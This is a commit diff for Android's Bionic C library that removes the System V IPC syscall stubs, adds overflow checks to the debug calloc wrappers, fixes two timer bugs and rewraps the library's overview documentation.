auto import from //branches/cupcake/...@132276
This commit is contained in:
parent
2489551343
commit
6f04a0f4c7
@ -216,22 +216,6 @@ int sched_get_priority_max(int policy) 159
|
||||
int sched_get_priority_min(int policy) 160
|
||||
int sched_rr_get_interval(pid_t pid, struct timespec *interval) 161
|
||||
|
||||
# system-V inter-process communication
|
||||
# TODO: implement x86 stubs for these functions when needed (when ?)
|
||||
#
|
||||
int semctl(int semid, int semnum, int cmd, ...) 300,-1
|
||||
int semget(key_t key, int nsems, int semflg) 299,-1
|
||||
int semop(int semid, struct sembuf* sops, size_t nsops) 298,-1
|
||||
void* shmat(int shmid, const void* shmaddr, int shmflg) 305,-1
|
||||
int shmctl(int shmid, int cmd, struct shmid_ds* buf) 308,-1
|
||||
int shmdt(const void* shmaddr) 306,-1
|
||||
int shmget(key_t key, size_t size, int shmflg) 307,-1
|
||||
int msgctl(int msqid, int cmd, struct msqid_ds *buf) 304,-1
|
||||
int msgget(key_t key, int msgflg) 303,-1
|
||||
int msgrcv(int msqid, void* msgp, size_t msgsz, long int msgtyp, int msgflg) 302,-1
|
||||
int msgsnd(int msqid, const void* msgp, size_t msgsz, int msgflg) 301,-1
|
||||
|
||||
|
||||
# other
|
||||
int uname(struct utsname *) 122
|
||||
pid_t __wait4:wait4(pid_t pid, int *status, int options, struct rusage *rusage) 114
|
||||
|
@ -150,17 +150,6 @@ syscall_src += arch-arm/syscalls/sched_getparam.S
|
||||
syscall_src += arch-arm/syscalls/sched_get_priority_max.S
|
||||
syscall_src += arch-arm/syscalls/sched_get_priority_min.S
|
||||
syscall_src += arch-arm/syscalls/sched_rr_get_interval.S
|
||||
syscall_src += arch-arm/syscalls/semctl.S
|
||||
syscall_src += arch-arm/syscalls/semget.S
|
||||
syscall_src += arch-arm/syscalls/semop.S
|
||||
syscall_src += arch-arm/syscalls/shmat.S
|
||||
syscall_src += arch-arm/syscalls/shmctl.S
|
||||
syscall_src += arch-arm/syscalls/shmdt.S
|
||||
syscall_src += arch-arm/syscalls/shmget.S
|
||||
syscall_src += arch-arm/syscalls/msgctl.S
|
||||
syscall_src += arch-arm/syscalls/msgget.S
|
||||
syscall_src += arch-arm/syscalls/msgrcv.S
|
||||
syscall_src += arch-arm/syscalls/msgsnd.S
|
||||
syscall_src += arch-arm/syscalls/uname.S
|
||||
syscall_src += arch-arm/syscalls/__wait4.S
|
||||
syscall_src += arch-arm/syscalls/umask.S
|
||||
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type msgctl, #function
|
||||
.globl msgctl
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
msgctl:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_msgctl
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type msgget, #function
|
||||
.globl msgget
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
msgget:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_msgget
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,21 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type msgrcv, #function
|
||||
.globl msgrcv
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
msgrcv:
|
||||
mov ip, sp
|
||||
.save {r4, r5, r6, r7}
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
ldmfd ip, {r4, r5, r6}
|
||||
ldr r7, =__NR_msgrcv
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type msgsnd, #function
|
||||
.globl msgsnd
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
msgsnd:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_msgsnd
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type semctl, #function
|
||||
.globl semctl
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
semctl:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_semctl
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type semget, #function
|
||||
.globl semget
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
semget:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_semget
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type semop, #function
|
||||
.globl semop
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
semop:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_semop
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type shmat, #function
|
||||
.globl shmat
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
shmat:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_shmat
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type shmctl, #function
|
||||
.globl shmctl
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
shmctl:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_shmctl
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type shmdt, #function
|
||||
.globl shmdt
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
shmdt:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_shmdt
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -1,19 +0,0 @@
|
||||
/* autogenerated by gensyscalls.py */
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type shmget, #function
|
||||
.globl shmget
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
shmget:
|
||||
.save {r4, r7}
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_shmget
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
.fnend
|
@ -58,6 +58,8 @@
|
||||
#define SIZE_FLAG_ZYGOTE_CHILD (1<<31)
|
||||
#define SIZE_FLAG_MASK (SIZE_FLAG_ZYGOTE_CHILD)
|
||||
|
||||
#define MAX_SIZE_T (~(size_t)0)
|
||||
|
||||
/*
|
||||
* In a VM process, this is set to 1 after fork()ing out of zygote.
|
||||
*/
|
||||
@ -608,8 +610,16 @@ void chk_free(void* mem)
|
||||
|
||||
void* chk_calloc(size_t n_elements, size_t elem_size)
|
||||
{
|
||||
size_t size = n_elements * elem_size;
|
||||
void* ptr = chk_malloc(size);
|
||||
size_t size;
|
||||
void* ptr;
|
||||
|
||||
/* Fail on overflow - just to be safe even though this code runs only
|
||||
* within the debugging C library, not the production one */
|
||||
if (n_elements && MAX_SIZE_T / n_elements < elem_size) {
|
||||
return NULL;
|
||||
}
|
||||
size = n_elements * elem_size;
|
||||
ptr = chk_malloc(size);
|
||||
if (ptr != NULL) {
|
||||
memset(ptr, 0, size);
|
||||
}
|
||||
@ -763,8 +773,16 @@ void leak_free(void* mem)
|
||||
|
||||
void* leak_calloc(size_t n_elements, size_t elem_size)
|
||||
{
|
||||
size_t size = n_elements * elem_size;
|
||||
void* ptr = leak_malloc(size);
|
||||
size_t size;
|
||||
void* ptr;
|
||||
|
||||
/* Fail on overflow - just to be safe even though this code runs only
|
||||
* within the debugging C library, not the production one */
|
||||
if (n_elements && MAX_SIZE_T / n_elements < elem_size) {
|
||||
return NULL;
|
||||
}
|
||||
size = n_elements * elem_size;
|
||||
ptr = leak_malloc(size);
|
||||
if (ptr != NULL) {
|
||||
memset(ptr, 0, size);
|
||||
}
|
||||
|
@ -469,7 +469,7 @@ timer_settime( timer_t id,
|
||||
}
|
||||
|
||||
if ( __likely(!TIMER_ID_IS_WRAPPED(id)) ) {
|
||||
return __timer_gettime( id, ospec );
|
||||
return __timer_settime( id, flags, spec, ospec );
|
||||
} else {
|
||||
thr_timer_t* timer = thr_timer_from_id(id);
|
||||
struct timespec expires, now;
|
||||
@ -560,11 +560,11 @@ timer_thread_start( void* _arg )
|
||||
if (timespec_cmp( &expires, &now ) > 0)
|
||||
{
|
||||
/* cool, there was no overrun, so compute the
|
||||
* relative timeout as 'now - expires', then wait
|
||||
* relative timeout as 'expires - now', then wait
|
||||
*/
|
||||
int ret;
|
||||
struct timespec diff = now;
|
||||
timespec_sub( &diff, &expires );
|
||||
struct timespec diff = expires;
|
||||
timespec_sub( &diff, &now );
|
||||
|
||||
ret = __pthread_cond_timedwait_relative(
|
||||
&timer->cond, &timer->mutex, &diff);
|
||||
|
@ -7,89 +7,93 @@ Core Philosophy:
|
||||
|
||||
The core idea behind Bionic's design is: KEEP IT REALLY SIMPLE.
|
||||
|
||||
This implies that the C library should only provide lightweight wrappers around kernel
|
||||
facilities and not try to be too smart to deal with edge cases.
|
||||
This implies that the C library should only provide lightweight wrappers
|
||||
around kernel facilities and not try to be too smart to deal with edge cases.
|
||||
|
||||
The name "Bionic" comes from the fact that it is part-BSD and part-Linux: its source
|
||||
code consists in a mix of BSD C library pieces with custom Linux-specific bits used
|
||||
to deal with threads, processes, signals and a few others things.
|
||||
The name "Bionic" comes from the fact that it is part-BSD and part-Linux:
|
||||
its source code consists in a mix of BSD C library pieces with custom
|
||||
Linux-specific bits used to deal with threads, processes, signals and a few
|
||||
others things.
|
||||
|
||||
All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific bits
|
||||
carry the Android Open Source Project copyright disclaimer. And everything is released
|
||||
under the BSD license.
|
||||
All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific
|
||||
bits carry the Android Open Source Project copyright disclaimer. And
|
||||
everything is released under the BSD license.
|
||||
|
||||
Architectures:
|
||||
|
||||
Bionic currently supports the ARM and x86 instruction sets. In theory, it should be
|
||||
possible to support more, but this may require a little work (e.g. adding system
|
||||
call IDs to SYSCALLS.TXT, described below, or modifying the dynamic linker).
|
||||
Bionic currently supports the ARM and x86 instruction sets. In theory, it
|
||||
should be possible to support more, but this may require a little work (e.g.
|
||||
adding system call IDs to SYSCALLS.TXT, described below, or modifying the
|
||||
dynamic linker).
|
||||
|
||||
The ARM-specific code is under arch-arm/ and the x86-specific one is under arch-x86/
|
||||
The ARM-specific code is under arch-arm/ and the x86-specific one is under
|
||||
arch-x86/
|
||||
|
||||
Note that the x86 version is only meant to run on an x86 Android device. We make
|
||||
absolutely no claim that you could build and use Bionic on a stock x86 Linux
|
||||
distribution (though that would be cool, so patches are welcomed :-))
|
||||
Note that the x86 version is only meant to run on an x86 Android device. We
|
||||
make absolutely no claim that you could build and use Bionic on a stock x86
|
||||
Linux distribution (though that would be cool, so patches are welcomed :-))
|
||||
|
||||
Syscall stubs:
|
||||
|
||||
Each system call function is implemented by a tiny assembler source fragment
|
||||
(called a "syscall stub"), which is generated automatically by tools/gensyscalls.py
|
||||
which reads the SYSCALLS.TXT file for input.
|
||||
(called a "syscall stub"), which is generated automatically by
|
||||
tools/gensyscalls.py which reads the SYSCALLS.TXT file for input.
|
||||
|
||||
SYSCALLS.TXT contains the list of all syscall stubs to generate, along with
|
||||
the corresponding syscall numeric identifier (which may differ between ARM and x86),
|
||||
and its signature
|
||||
the corresponding syscall numeric identifier (which may differ between ARM
|
||||
and x86), and its signature
|
||||
|
||||
If you modify this file, you may want to use tools/checksyscalls.py which checks
|
||||
its content against official Linux kernel header files, and will report errors when
|
||||
invalid syscall ids are used.
|
||||
If you modify this file, you may want to use tools/checksyscalls.py which
|
||||
checks its content against official Linux kernel header files, and will
|
||||
report errors when invalid syscall ids are used.
|
||||
|
||||
Sometimes, the C library function is really a wrapper that calls the corresponding
|
||||
syscall with another name. For example, the exit() function is provided by the C
|
||||
library and calls the _exit() syscall stub.
|
||||
Sometimes, the C library function is really a wrapper that calls the
|
||||
corresponding syscall with another name. For example, the exit() function
|
||||
is provided by the C library and calls the _exit() syscall stub.
|
||||
|
||||
See SYSCALLS.TXT for documentation and details.
|
||||
|
||||
|
||||
time_t:
|
||||
|
||||
time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version would
|
||||
be preferrable to avoid the Y2038 bug, but the kernel maintainers consider that
|
||||
this is not needed at the moment.
|
||||
time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version
|
||||
would be preferrable to avoid the Y2038 bug, but the kernel maintainers
|
||||
consider that this is not needed at the moment.
|
||||
|
||||
Instead, Bionic provides a <time64.h> header that defines a time64_t type, and
|
||||
related functions like mktime64(), localtime64(), etc...
|
||||
Instead, Bionic provides a <time64.h> header that defines a time64_t type,
|
||||
and related functions like mktime64(), localtime64(), etc...
|
||||
|
||||
|
||||
Timezone management:
|
||||
|
||||
The name of the current timezone is taken from the TZ environment variable, if defined.
|
||||
Otherwise, the system property named 'persist.sys.timezone' is checked instead.
|
||||
The name of the current timezone is taken from the TZ environment variable,
|
||||
if defined. Otherwise, the system property named 'persist.sys.timezone' is
|
||||
checked instead.
|
||||
|
||||
The zoneinfo timezone database and index files are located under directory
|
||||
/system/usr/share/zoneinfo, instead of the more Posix path of /usr/share/zoneinfo
|
||||
/system/usr/share/zoneinfo, instead of the more Posix-compliant path of
|
||||
/usr/share/zoneinfo
|
||||
|
||||
|
||||
off_t:
|
||||
|
||||
For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant due
|
||||
to BSD inheritance, but off64_t should be available as a typedef to ease porting of
|
||||
current Linux-specific code.
|
||||
|
||||
For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant
|
||||
due to BSD inheritance, but off64_t should be available as a typedef to ease
|
||||
porting of current Linux-specific code.
|
||||
|
||||
|
||||
Linux kernel headers:
|
||||
|
||||
Bionic comes with its own set of "clean" Linux kernel headers to allow user-space
|
||||
code to use kernel-specific declarations (e.g. IOCTLs, structure declarations,
|
||||
constants, etc...). They are located in:
|
||||
Bionic comes with its own set of "clean" Linux kernel headers to allow
|
||||
user-space code to use kernel-specific declarations (e.g. IOCTLs, structure
|
||||
declarations, constants, etc...). They are located in:
|
||||
|
||||
./kernel/common,
|
||||
./kernel/arch-arm
|
||||
./kernel/arch-x86
|
||||
|
||||
These headers have been generated by a tool (kernel/tools/update-all.py) to only
|
||||
include the public definitions from the original Linux kernel headers.
|
||||
These headers have been generated by a tool (kernel/tools/update-all.py) to
|
||||
only include the public definitions from the original Linux kernel headers.
|
||||
|
||||
If you want to know why and how this is done, read kernel/README.TXT to get
|
||||
all the (gory) details.
|
||||
@ -97,21 +101,23 @@ Linux kernel headers:
|
||||
|
||||
PThread implementation:
|
||||
|
||||
Bionic's C library comes with its own pthread implementation bundled in. This is
|
||||
different from other historical C libraries which:
|
||||
Bionic's C library comes with its own pthread implementation bundled in.
|
||||
This is different from other historical C libraries which:
|
||||
|
||||
- place it in an external library (-lpthread)
|
||||
- play linker tricks with weak symbols at dynamic link time
|
||||
|
||||
The support for real-time features (a.k.a. -lrt) is also bundled in the C library.
|
||||
The support for real-time features (a.k.a. -lrt) is also bundled in the
|
||||
C library.
|
||||
|
||||
The implementation is based on futexes and strives to provide *very* short code paths
|
||||
for common operations. Notable features are the following:
|
||||
The implementation is based on futexes and strives to provide *very* short
|
||||
code paths for common operations. Notable features are the following:
|
||||
|
||||
- pthread_mutex_t, pthread_cond_t are only 4 bytes each.
|
||||
|
||||
- Normal, recursive and error-check mutexes are supported, and the code path
|
||||
is heavily optimized for the normal case, which is used most of the time.
|
||||
- Normal, recursive and error-check mutexes are supported, and the code
|
||||
path is heavily optimized for the normal case, which is used most of
|
||||
the time.
|
||||
|
||||
- Process-shared mutexes and condition variables are not supported.
|
||||
Their implementation requires far more complexity and was absolutely
|
||||
@ -123,8 +129,9 @@ PThread implementation:
|
||||
paths slightly slower though).
|
||||
|
||||
- There is currently no support for read/write locks, priority-ceiling in
|
||||
mutexes and other more advanced features. Again, the main idea being that
|
||||
this was not needed for Android at all but could be added in the future.
|
||||
mutexes and other more advanced features. Again, the main idea being
|
||||
that this was not needed for Android at all but could be added in the
|
||||
future.
|
||||
|
||||
pthread_cancel():
|
||||
|
||||
@ -134,13 +141,13 @@ pthread_cancel():
|
||||
Consider that:
|
||||
|
||||
- A proper implementation must insert pthread cancellation checks in a lot
|
||||
of different places of the C library. And conformance is very difficult to
|
||||
test properly.
|
||||
of different places of the C library. And conformance is very difficult
|
||||
to test properly.
|
||||
|
||||
- A proper implementation must also clean up resources, like releasing memory,
|
||||
or unlocking mutexes, properly if the cancellation happens in a complex
|
||||
function (e.g. inside gethostbyname() or fprintf() + complex formatting
|
||||
rules). This tends to slow down the path of many functions.
|
||||
- A proper implementation must also clean up resources, like releasing
|
||||
memory, or unlocking mutexes, properly if the cancellation happens in a
|
||||
complex function (e.g. inside gethostbyname() or fprintf() + complex
|
||||
formatting rules). This tends to slow down the path of many functions.
|
||||
|
||||
- pthread cancellation cannot stop all threads: e.g. it can't do anything
|
||||
against an infinite loop
|
||||
@ -151,18 +158,20 @@ pthread_cancel():
|
||||
All of this is contrary to the Bionic design goals. If your code depends on
|
||||
thread cancellation, please consider alternatives.
|
||||
|
||||
Note however that Bionic does implement pthread_cleanup_push() and pthread_cleanup_pop(),
|
||||
which can be used to handle cleanups that happen when a thread voluntarily exits
|
||||
through pthread_exit() or returning from its main function.
|
||||
Note however that Bionic does implement pthread_cleanup_push() and
|
||||
pthread_cleanup_pop(), which can be used to handle cleanups that happen when
|
||||
a thread voluntarily exits through pthread_exit() or returning from its
|
||||
main function.
|
||||
|
||||
|
||||
pthread_once():
|
||||
|
||||
Do not call fork() within a callback provided to pthread_once(). Doing this
|
||||
may result in a deadlock in the child process the next time it calls pthread_once().
|
||||
may result in a deadlock in the child process the next time it calls
|
||||
pthread_once().
|
||||
|
||||
Also, you can't throw a C++ Exception from the callback (see C++ Exception Support
|
||||
below).
|
||||
Also, you can't throw a C++ Exception from the callback (see C++ Exception
|
||||
Support below).
|
||||
|
||||
The current implementation of pthread_once() lacks the necessary support of
|
||||
multi-core-safe double-checked-locking (read and write barriers).
|
||||
@ -170,27 +179,27 @@ pthread_once():
|
||||
|
||||
Thread-specific data
|
||||
|
||||
The thread-specific storage only provides for a bit less than 64 pthread_key_t
|
||||
objects to each process. The implementation provides 64 real slots but also
|
||||
uses about 5 of them (exact number may depend on implementation) for its
|
||||
own use (e.g. two slots are pre-allocated by the C library to speed-up the
|
||||
Android OpenGL sub-system).
|
||||
The thread-specific storage only provides for a bit less than 64
|
||||
pthread_key_t objects to each process. The implementation provides 64 real
|
||||
slots but also uses about 5 of them (exact number may depend on
|
||||
implementation) for its own use (e.g. two slots are pre-allocated by the C
|
||||
library to speed-up the Android OpenGL sub-system).
|
||||
|
||||
Note that Posix mandates a minimum of 128 slots, but we do not claim to be
|
||||
Posix-compliant.
|
||||
|
||||
Except for the main thread, the TLS area is stored at the top of the stack. See
|
||||
comments in bionic/libc/bionic/pthread.c for details.
|
||||
Except for the main thread, the TLS area is stored at the top of the stack.
|
||||
See comments in bionic/libc/bionic/pthread.c for details.
|
||||
|
||||
At the moment, thread-local storage defined through the __thread compiler keyword
|
||||
is not supported by the Bionic C library and dynamic linker.
|
||||
At the moment, thread-local storage defined through the __thread compiler
|
||||
keyword is not supported by the Bionic C library and dynamic linker.
|
||||
|
||||
|
||||
Multi-core support
|
||||
|
||||
At the moment, Bionic does not provide or use read/write memory barriers.
|
||||
This means that using it on certain multi-core systems might not be supported,
|
||||
depending on its exact CPU architecture.
|
||||
This means that using it on certain multi-core systems might not be
|
||||
supported, depending on its exact CPU architecture.
|
||||
|
||||
|
||||
Android-specific features:
|
||||
@ -201,67 +210,69 @@ Android-specific features:
|
||||
|
||||
Android provides a simple shared value/key space to all processes on the
|
||||
system. It stores a liberal number of 'properties', each of them being a
|
||||
simple size-limited string that can be associated to a size-limited string
|
||||
value.
|
||||
simple size-limited string that can be associated to a size-limited
|
||||
string value.
|
||||
|
||||
The header <sys/system_properties.h> can be used to read system properties
|
||||
and also defines the maximum size of keys and values.
|
||||
The header <sys/system_properties.h> can be used to read system
|
||||
properties and also defines the maximum size of keys and values.
|
||||
|
||||
- Android-specific user/group management:
|
||||
|
||||
There is no /etc/passwd or /etc/groups in Android. By design, it is meant to
|
||||
be used by a single handset user. On the other hand, Android uses the Linux
|
||||
user/group management features extensively to secure process permissions,
|
||||
like access to various filesystem directories.
|
||||
There is no /etc/passwd or /etc/groups in Android. By design, it is
|
||||
meant to be used by a single handset user. On the other hand, Android
|
||||
uses the Linux user/group management features extensively to secure
|
||||
process permissions, like access to various filesystem directories.
|
||||
|
||||
In the Android scheme, each installed application gets its own uid_t/gid_t
|
||||
starting from 10000; lower numerical ids are reserved for system daemons.
|
||||
In the Android scheme, each installed application gets its own
|
||||
uid_t/gid_t starting from 10000; lower numerical ids are reserved for
|
||||
system daemons.
|
||||
|
||||
getpwnam() recognizes some hard-coded subsystems names (e.g. "radio") and
|
||||
will translate them to their low-user-id values. It also recognizes "app_1234"
|
||||
as the synthetic name of the application that was installed with uid 10000 + 1234,
|
||||
which is 11234. getgrnam() works similarly
|
||||
getpwnam() recognizes some hard-coded subsystems names (e.g. "radio")
|
||||
and will translate them to their low-user-id values. It also recognizes
|
||||
"app_1234" as the synthetic name of the application that was installed
|
||||
with uid 10000 + 1234, which is 11234. getgrnam() works similarly
|
||||
|
||||
getgrouplist() will always return a single group for any user name, which is
|
||||
the one passed as an input parameter.
|
||||
getgrouplist() will always return a single group for any user name,
|
||||
which is the one passed as an input parameter.
|
||||
|
||||
getgrgid() will similarly only return a structure that contains a single-element
|
||||
members list, corresponding to the user with the same numerical value than the
|
||||
group.
|
||||
getgrgid() will similarly only return a structure that contains a
|
||||
single-element members list, corresponding to the user with the same
|
||||
numerical value than the group.
|
||||
|
||||
See bionic/libc/bionic/stubs.c for more details.
|
||||
|
||||
- getservent()
|
||||
|
||||
There is no /etc/services on Android. Instead the C library embeds a constant
|
||||
list of services in its executable, which is parsed on demand by the various
|
||||
functions that depend on it. See bionic/libc/netbsd/net/getservent.c and
|
||||
There is no /etc/services on Android. Instead the C library embeds a
|
||||
constant list of services in its executable, which is parsed on demand
|
||||
by the various functions that depend on it. See
|
||||
bionic/libc/netbsd/net/getservent.c and
|
||||
bionic/libc/netbsd/net/services.h
|
||||
|
||||
The list of services defined internally might change liberally in the future.
|
||||
This feature is mostly historically and is very rarely used.
|
||||
The list of services defined internally might change liberally in the
|
||||
future. This feature is mostly historically and is very rarely used.
|
||||
|
||||
The getservent() returns thread-local data. getservbyport() and getservbyname()
|
||||
are also implemented in a similar fashion.
|
||||
The getservent() returns thread-local data. getservbyport() and
|
||||
getservbyname() are also implemented in a similar fashion.
|
||||
|
||||
- getprotoent()
|
||||
|
||||
There is no /etc/protocol on Android. Bionic does not currently implement
|
||||
getprotoent() and related functions. If we add it, it will likely be done
|
||||
in a way similar to getservent()
|
||||
There is no /etc/protocol on Android. Bionic does not currently
|
||||
implement getprotoent() and related functions. If added, it will
|
||||
likely be done in a way similar to getservent()
|
||||
|
||||
DNS resolver:
|
||||
|
||||
Bionic uses a NetBSD-derived resolver library which has been modified in the following
|
||||
ways:
|
||||
Bionic uses a NetBSD-derived resolver library which has been modified in
|
||||
the following ways:
|
||||
|
||||
- don't implement the name-server-switch feature (a.k.a. <nsswitch.h>)
|
||||
|
||||
- read /system/etc/resolv.conf instead of /etc/resolv.conf
|
||||
|
||||
- read the list of servers from system properties. the code looks for
|
||||
'net.dns1', 'net.dns2', etc.. Each property should contain the IP address
|
||||
of a DNS server.
|
||||
'net.dns1', 'net.dns2', etc.. Each property should contain the IP
|
||||
address of a DNS server.
|
||||
|
||||
these properties are set/modified by other parts of the Android system
|
||||
(e.g. the dhcpd daemon).
|
||||
@ -278,9 +289,9 @@ DNS resolver:
|
||||
|
||||
- get rid of *many* unfortunate thread-safety issues in the original code
|
||||
|
||||
Bionic does *not* expose implementation details of its DNS resolver; the content
|
||||
of <arpa/nameser.h> is intentionally blank. The resolver implementation might
|
||||
change completely in the future.
|
||||
Bionic does *not* expose implementation details of its DNS resolver; the
|
||||
content of <arpa/nameser.h> is intentionally blank. The resolver
|
||||
implementation might change completely in the future.
|
||||
|
||||
|
||||
PThread Real-Time Timers:
|
||||
@ -294,8 +305,8 @@ PThread Real-Time Timers:
|
||||
timers with compatible properties are used.
|
||||
|
||||
This means that if your code uses a lot of SIGEV_THREAD timers, your program
|
||||
may consume a lot of memory. However, if your program needs many of these timers,
|
||||
it'd better handle timeout events directly instead.
|
||||
may consume a lot of memory. However, if your program needs many of these
|
||||
timers, it'd better handle timeout events directly instead.
|
||||
|
||||
Other timers (e.g. SIGEV_SIGNAL) are handled by the kernel and use much less
|
||||
system resources.
|
||||
@ -303,58 +314,71 @@ PThread Real-Time Timers:
|
||||
|
||||
Binary Compatibility:
|
||||
|
||||
Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc or any
|
||||
known Linux C library. This means several things:
|
||||
Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc
|
||||
or any known Linux C library. This means several things:
|
||||
|
||||
- You cannot expect to build something against the GNU C Library headers and have
|
||||
it dynamically link properly to Bionic later.
|
||||
- You cannot expect to build something against the GNU C Library headers and
|
||||
have it dynamically link properly to Bionic later.
|
||||
|
||||
- You should *really* use the Android toolchain to build your program against Bionic.
|
||||
The toolchain deals with many important details that are crucial to get something
|
||||
working properly.
|
||||
- You should *really* use the Android toolchain to build your program against
|
||||
Bionic. The toolchain deals with many important details that are crucial
|
||||
to get something working properly.
|
||||
|
||||
Failure to do so will usually result in the inability to run or link your program,
|
||||
or even runtime crashes. Several random web pages on the Internet describe how you
|
||||
can succesfully write a "hello-world" program with the ARM GNU toolchain. These
|
||||
examples usually work by chance, if anything else, and you should not follow these
|
||||
instructions unless you want to waste a lot of your time in the process.
|
||||
Failure to do so will usually result in the inability to run or link your
|
||||
program, or even runtime crashes. Several random web pages on the Internet
|
||||
describe how you can succesfully write a "hello-world" program with the
|
||||
ARM GNU toolchain. These examples usually work by chance, if anything else,
|
||||
and you should not follow these instructions unless you want to waste a lot
|
||||
of your time in the process.
|
||||
|
||||
Note however that you *can* generate a binary that is built against the
|
||||
GNU C Library headers and then statically linked to it. The corresponding
|
||||
executable should be able to run (if it doesn't use dlopen()/dlsym())
|
||||
|
||||
Note however that you *can* generate a binary that is built against the GNU C Library
|
||||
headers and then statically linked to it. The corresponding executable should be able
|
||||
to run (if it doesn't use dlopen()/dlsym())
|
||||
|
||||
Dynamic Linker:
|
||||
|
||||
Bionic comes with its own dynamic linker (just like ld.so on Linux really comes from
|
||||
GLibc). This linker does not support all the relocations generated by other GCC ARM
|
||||
toolchains.
|
||||
Bionic comes with its own dynamic linker (just like ld.so on Linux really
|
||||
comes from GLibc). This linker does not support all the relocations
|
||||
generated by other GCC ARM toolchains.
|
||||
|
||||
|
||||
C++ Exceptions Support:
|
||||
|
||||
At the moment, Bionic doesn't support C++ exceptions, what this really means is the
|
||||
following:
|
||||
At the moment, Bionic doesn't support C++ exceptions, what this really means
|
||||
is the following:
|
||||
|
||||
- If pthread_once() is called with a C++ callback that throws an exception,
|
||||
